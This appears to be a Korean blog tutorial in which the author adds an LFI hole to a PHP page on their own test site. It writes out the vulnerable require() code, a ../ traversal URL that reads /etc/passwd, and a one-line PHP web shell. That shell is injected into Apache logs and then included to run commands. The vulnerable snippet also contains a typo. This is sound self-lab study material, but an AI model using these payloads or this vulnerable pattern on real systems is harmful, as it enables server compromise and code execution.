본문 바로가기

해킹/Web Hacking

직접 만든 사이트에 LFI 취약점 공격해보기

직접 만든 사이트에 LFI 공격이 먹히는지 한번 공격해보겠습니다.

 

LFI 취약점

LFI 취약점은 include, include_once, require, require_once 등의 함수에

사용자의 입력값이 필터링 없이 들어갔을 때 발생할 수 있는 취약점입니다.

 

 

access.log 경로 알기

직접 만든 사이트의 좋은 점.. access.log의 경로를 마음껏 찾아볼 수 있다는 것입니다.

 

이리저리 돌아다니다 var 폴더에 들어가니 log 라는 폴더가 보입니다.

굉장히 의심되죠?

 

log 폴더로 들어가니 apache2가 있었고 해당 폴더에 들어가니 access.log를 발견했습니다.

 

 

제가 만든 웹 사이트에 테스트용 페이지를 하나 만들었었습니다.

 

lecturetest2.php 인데요

이 페이지에 의도적으로 LFI 취약점을 만들어보겠습니다.

 

원래 이 파일은 nav.html이라는 상단 바를 require하고 있었는데요

 

이렇게 말이죠

<?php
require('nav.html');
?>

 

이 코드를 GET방식으로 사용자의 입력값을 받아

require 함수에 들어갈 수 있도록

lecturetest2.php의 코드를 

다음과 같이 수정했습니다.

 

<?php
if(isset($_GET['filename'])){
  $filename = $_GET['filename'];
} else {
  $filename='nav.html';
}
require("./".filename);
?>

 

새로고침해서 적용상태를 보면 이런 느낌입니다.

 

URL만 처음 봤을 때는 GET방식을 사용한다거나, filename 파라미터를 사용하는지 알 수 없게 나옵니다.

 

그럼 url에 filename파라미터를 넣고 /etc/passwd 파일을 호출시키도록 해보겠습니다.

소스코드 수정할 때 require 안에 상대 경로가 들어가도록 코드를 짰으므로

디렉토리 인덱싱으로 최상단 경로로 올라간 뒤 etc/passwd가 호출되는지 보겠습니다.

 

http:URL/lecturetest2.php?filename=../../../../../../etc/passwd

 

호출이 되었습니다.!!

 

 

그럼 실제로 공격을 해보기 위하여 버프 스위트를 켜봅니다.

 

 

intercept를 on 한 뒤 새로고침을 누르고

 

전송파일 정보를 싹 다 지우고 한 줄 웹 쉘을 입력해봅니다.

이걸 전송한다면 아무것도 출력되지 않겠죠?

말도 안되는 전송이니까요

원래라면 이렇게 웹 쉘을 전송한다고 해서 웹 쉘 코드가 실행되는 게 아니기 때문이죠

 

<?php echo system($_GET['cmd']);?>

 

 

 

당연한 것처럼 Bad Request 오류가 떴습니다.

하지만 이 오류는 access.log에 오류형태로 저장되게 되고 이를

LFI 로 불러온다면 php 웹 쉘 코드를 실행시킬 수 있을 겁니다.

 

 

access.log를 호출했는데 아무것도 호출이 안되었습니다.

 

error.log도 호출했는데 아무것도 출력되지 않았습니다...

 

access.log 파일을 읽어보겠습니다.

 

error.log 파일을 읽어보겠습니다.

권한 문제로 denied 되고 있는 것 같네요

cd /var/log/apache2에 들어가 ls -al을 입력해줍니다.

 

아주 단단히 막혀있네요

 

chmod 777 access.log 를 이용해 권한을 모두 접속가능하도록 다 열어주고 상태를 봅니다.

 

다시 ls -al

 

이젠 권한이 잘 풀려있는 것을 확인할 수 있습니다.

 

 

이제 다시 공격해보겠습니다.

 

공격할 페이지를 열고 인터셉트를 on 한 후, 웹 쉘 코드를 보내서 에러를 강제로 일으켜 봅니다.

 

에러가 잘 발생했습니다.

 

 

권한 상승을 해도 여전히 access.log에서는 불러오기가 안되서 

chmod 777 error.log에 대해 권한 상승을 걸어

불러왔더니 이제 되었습니다..!!

 

error.log 파일이 실행되어 nav 바 대신 나타나는 것을 확인할 수 있습니다.

 


소스 참조

access.log의 권한을 상승시키지 않고도 fd를 이용해 LFI 취약점 공격하는 법 : https://blog.naver.com/PostView.nhn?blogId=sjhmc9695&logNo=222002074140&from=search&redirect=Log&widgetTypeCall=true&directAccess=false 

 

https://securitynote.tistory.com/31